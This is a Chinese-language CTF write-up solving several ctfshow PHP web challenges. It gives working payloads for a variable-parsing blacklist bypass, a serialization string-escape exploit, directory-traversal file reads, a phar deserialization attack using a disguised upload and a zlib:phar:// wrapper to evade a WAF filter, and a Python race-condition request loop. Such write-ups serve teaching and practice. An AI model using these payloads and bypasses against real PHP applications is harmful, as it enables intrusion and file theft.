veryphp
#变量解析+正则匹配规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php error_reporting(0); highlight_file(__FILE__); include("config.php"); class qwq { function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); } } $str = file_get_contents("php://input"); if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); } if(isset($shaw_root)){ if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ echo $hint; }else{ echo "Almost there."."<br>"; } }else{ echo "<br>"."Input correct parameters"."<br>"; die(); } if($ans===$SecretNumber){ echo "<br>"."Congratulations!"."<br>"; call_user_func($my_ans); }
Input correct parameters
|
先分析一下代码
1 2 3 4 5 6 7 8 9 10
| if(isset($shaw_root)){ if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ echo $hint; }else{ echo "Almost there."."<br>"; } }else{ echo "<br>"."Input correct parameters"."<br>"; die(); }
|
这里的话页面是返回了Input correct parameters,然后有一个hint变量,可能有提示,所以从这入手
需要满足匹配并且字符长度为29,先分析一下这个正则匹配吧
- **
/^
**:表示字符串的开始。^
确保匹配从字符串的开头开始。
- **
\-
**:匹配字符 -
(连字符)。因为连字符在正则表达式中有特殊含义,所以需要用反斜杠 \
转义。
- **
[a-e]
**:匹配任意一个小写字母,从 a
到 e
。
- **
[^a-zA-Z0-8]
**:匹配任意一个不在 a-z
、A-Z
或 0-8
范围内的字符。方括号内的 ^
表示取反。
- **
<b>
**:匹配字符串 <b>
,这是一个 HTML 标签。
- **
(.\*)
**:匹配任意数量的字符(包括零个字符),并将其捕获为第一个组。.*
表示零个或多个任意字符。
- **
>
**:匹配字符 >
。
- **
{4}
**:表示前面的表达式(即 >
)必须出现四次。因此,这部分会匹配四个 >
字符。
- **
\D\*?
**:匹配零个或多个非数字字符。*?
是一个非贪婪匹配,意味着尽可能少地匹配字符。
- **
(abc.\*?)
**:匹配字母串 abc
,后面可以跟零个或多个任意字符(非贪婪匹配),并将这一部分捕获为第二组。
- **
p(hp)\*
**:匹配字符 p
,后面可以跟零个或多个 hp
字符串(例如 p
、php
、phphp
等)。
- **
\@
**:匹配字符 @
,因为 @
本身没有特殊含义,所以不需要转义。
- **
R(s|r)
**:匹配字符 R
后面跟着 s
或 r
,其中 (s|r)
是一个捕获组,表示 s
或 r
。
- **
.
**:匹配任意单个字符(除了换行符)。
- **
$/
**:表示字符串的结束。$
确保匹配到字符串的末尾。
可以自己一个个去匹配,但是要注意贪婪模式,可以先把其他的地方匹配上再回来看贪婪匹配
然后还要关注一段代码
1 2 3 4 5
| if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); }
|
这里的话会对POST传入的数据进行检查,遇到黑名单则会执行die函数,所以这些也是我们要绕过的
在黑名单里面过滤了下划线,但是我们需要传的shaw_root是有下划线的,怎么绕过呢?
想起之前学到的变量解析特性,PHP在将传入的参数转化成有效的变量名的时候,会将某些字符删除或用下划线代替,所以我们这里找找怎么用其他字符去替换下划线,在php解析的时候可以变成下划线这样才能实现变量覆盖的效果

小数点被过滤了,我们用空格

成功实现变量覆盖,接下来就是匹配if语句了
一直传参不成功,我忽略了hackbar对特殊字符的url编码规则了,所以这点得注意,踩坑了!
用bp发包
1
| shaw root=-a9<b>--------->>>>abcphp@Rs2
|

获得一段hint
1 2
| Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
|
然后我们结合题目中最后的代码
1 2 3 4
| if($ans===$SecretNumber){ echo "<br>"."Congratulations!"."<br>"; call_user_func($my_ans); }
|
其实我觉得这里没啥影响,只需要把SecretNumber的值爆出来就行,其实可以通过变量覆盖来覆盖掉$SecretNumber
的值,但是字母e被过滤掉了,所以只能写脚本进行爆破
1 2 3 4 5 6 7
| <?php for($i =0;$i<=99999;$i++){ if(md5("shaw".($i)."root")=="166b47a5cb1ca2431a0edfcef200684f" && strlen($i)===5){ echo $i; } }
|
但是我们是向ans传值而不是SecretNumber
然后我们就得利用最后的类了
1 2 3 4 5 6 7 8 9
| class qwq { function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); } }
|
没啥好说的,这里直接调用qwq类中的oao,所以最后的payload就是
1
| shaw root=-a9<b>--------->>>>abcphp@Rs2&ans=21475&my ans=qwq::oao
|
spaceman
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php error_reporting(0); highlight_file(__FILE__); class spaceman { public $username; public $password; public function __construct($username,$password) { $this->username = $username; $this->password = $password; } public function __wakeup() { if($this->password==='ctfshowvip') { include("flag.php"); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('ctfshowup','ctfshow',$string); } $str = file_get_contents("php://input"); if(preg_match('/\_|\.|\]|\[/is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); } $ser = filter(serialize(new spaceman($user_name,$pass_word))); $test = unserialize($ser); ?> wrong password
|
这里的话有有多变少的字符替换,第一个想的就是字符串逃逸,但是这里的序列化和反序列化的操作并不指向一个可控的变量,而我们需要对username和password进行赋值操作,所以需要绕过正则匹配去传入正确的值
在__wakeup()
魔术方法中有flag变量的输出,但是需要让password为ctfshowvip
非预期
#变量覆盖
其实这里的话可以实现变量覆盖,是可以直接非预期赋值去做的
1
| user[name=1&pass[word=ctfshowvip
|
和上题一样,利用解析变量的特性去实现变量覆盖,但是我们还是要看一下预期解的
预期解
#字符串逃逸
先在本地测试,随便传两个进行序列化操作
1 2 3 4 5 6 7 8 9 10
| <?php class spaceman { public $username="admin"; public $password="ctfshowvip";
} $a = new spaceman(); echo serialize($a);
|
因为是字符减少的绕过,会往后吞掉字符,那么我们需要构造的序列化字符串是
1 2 3 4 5 6 7 8 9 10
| <?php class spaceman { public $username="admin"; public $password='1";s:8:"password";s:10:"ctfshowvip";}';
} $a = new spaceman(); echo serialize($a);
|
需要吞掉的字符是
1
| ";s:8:"password";s:37:"1//24个字符
|
ctfshowup->ctfshow,一次吞掉两个字符,所以需要传入12个ctfshowup最终的exp就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class spaceman { public $username="ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup"; public $password='1";s:8:"password";s:10:"ctfshowvip";}'; } $a = serialize(new spaceman());
function filter($string) { return str_replace('ctfshowup','ctfshow',$string); } $b = filter($a); echo $b;
|
所以最后的payload是
1
| user[name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass[word=1";s:8:"password";s:10:"ctfshowvip";}
|
虎山行
#代码审计+phar反序列化+条件竞争
源码中有/install.php

点开始安装然后登录网站后台

有个写文章的口子还有一个文件上传的口子,先测一下文件上传的,发现这个口子对文件内容没有检查,但是限制了文件后缀,而且是白名单,测了很久没绕过去,换个方向
扫描目录后翻看一下发现有
1 2 3 4 5 6 7
| [15:16:57] Scanning: [15:17:58] 200 - 1KB - /CgiStart?page=Single [15:18:47] 200 - 1KB - /README.md [15:19:04] 301 - 169B - /upload -> http://3bbe7f69-7eaf-40eb-9402-246fbb743c48.challenge.ctf.show/upload/ [15:19:04] 200 - 324B - /upload.php [15:19:04] 200 - 0B - /upload/ [15:19:12] 200 - 48KB - /www.rar
|
访问一下/www.rar把源码下载下来,这里upload.php证明我们的方向是没错的
源码目录

有点多啊,看看能不能丢给seay进行代码审计分析一下

有三十三个地方,我们挨个看下
最后锁定在/mc-admin/page-edit.php下的一处任意文件读取
1 2 3 4
| } else if (isset($_GET['file'])) { $file_path = '../mc-files/pages/data/'.$_GET['file']; $data = (file_get_contents($file_path));
|
这里甚至没有后缀名的限制,可以实现任意文件读取,根据代码中的目录,得进行目录穿越
1
| /mc-admin/page-edit.php?file=../../../../../../flag
|

让我们访问ctfshowsecretfilehh目录的index.php文件
1
| /mc-admin/page-edit.php?file=../../../../../../var/www/html/ctfshowsecretfilehh/index.php
|
源码里有
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); error_reporting(0); include('waf.php'); class Ctfshow{ public $ctfer = 'shower'; public function __destruct(){ system('cp /hint* /var/www/html/hint.txt'); } } $filename = $_GET['file']; readgzfile(waf($filename)); ?>
|
再看一下waf.php
1 2 3 4 5 6 7 8
| function waf($file){ if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){ die("姿势太简单啦,来一点骚的?!"); }else{ return $file; } }
|
要触发__destruct
方法,看到readgzfile函数,第一个想到的是phar反序列化,但是这里的waf好像不可知
结合之前的文件上传的口子,那里应该就是上传的地方,那就先写个exp吧
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Ctfshow{ public $ctfer = 'shower'; } $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $obj = new Ctfshow(); $phar->setMetadata($obj); $phar->addFromString("flag.txt","flag");
$phar->stopBuffering(); ?>
|
然后终端运行生成phar文件,我们改成白名单的后缀然后上传


这里发现会修改文件名,文件名是当前时间戳的md5加密的值,先读一下uplolad.php的源码
1
| /mc-admin/page-edit.php?file=../../../../../../var/www/html/upload.php
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php error_reporting(0);
$allowedExts = array("gif", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 2048000) && in_array($extension, $allowedExts)) { if ($_FILES["file"]["error"] > 0) { echo "文件出错: " . $_FILES["file"]["error"] . "<br>"; } else { if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { $md5_unix_random =substr(md5(time()),0,8); $filename = $md5_unix_random.'.'.$extension; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); echo "上传成功,文件存在upload/"; } } } else { echo "文件类型仅支持jpg、png、gif等图片格式"; } ?>
|
从大师傅的wp里学到一个方法,就是从响应头里得到时间戳,然后再处理md5加密就可以知道具体的文件名了
1
| Fri, 11 Apr 2025 05:35:17 GMT
|
然后我们将日期字符串转换为 Unix 时间戳
1 2 3
| <?php $filename = substr(md5(strtotime('Fri, 11 Apr 2025 05:35:17 GMT')),0,8); echo $filename;
|
拿到文件名,我们就用phar协议去读取phar文件触发反序列化,但是这里的waf是过滤了phar开头的,zip也是被过滤了,我们可以用zlib
1
| ?file=zlib:phar:///var/www/html/upload/5a6442bc.jpg
|
然后搜索hint
1 2
| /mc-admin/page-edit.php?file=../../../../../../var/www/html/hint.txt //flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php show_source(__FILE__); $unser = $_GET['unser']; class Unser { public $username='Firebasky'; public $password; function __destruct() { if($this->username=='ctfshow'&&$this->password==(int)md5(time())){ system('cp /ctfshow* /var/www/html/flag.txt'); } } } $ctf=@unserialize($unser); system('rm -rf /var/www/html/flag.txt'); Notice: Undefined index: unser in /var/www/html/ctfshowgetflaghhhh/index.php on line 3
|
看到有删除操作,需要条件竞争,先写序列化操作
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{ public $username='ctfshow'; public $password;
function __construct(){ $this->password=md5(time()); } } $a = new User(); echo serialize($a);
|
这里还需要注意这个时间戳不是固定的,得进行特殊处理,写脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import hashlib import time import requests
def MD5(str): h1 = hashlib.md5(str.encode("utf8")).hexdigest() return h1
if __name__ == '__main__': url = "http://1f0c86e6-3040-4e14-9f09-041d3ecd0343.challenge.ctf.show/ctfshowgetflaghhhh/" while True: payload = MD5(str(int(time.time()))) print(payload) params = '?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+ payload +'";}' r = requests.get(url+params) print(r.text)
|
用死循环语句让他一直发包然后我们去访问这个文件就行

虎山行’s revenge
这道题其实跟之前没啥区别,就是文件名换了,打法是一样的
有手就行
源码有加密的编码,base64隐写

base64转图片

应该是往file里传文件名,但是试了几个都没回应,后来才知道在源码里面可以隐写,我们传入flag又获得一段隐写内容, 是一个小程序的二维码

这道题有点抽象,感觉没啥思路,wp也不多,先放着吧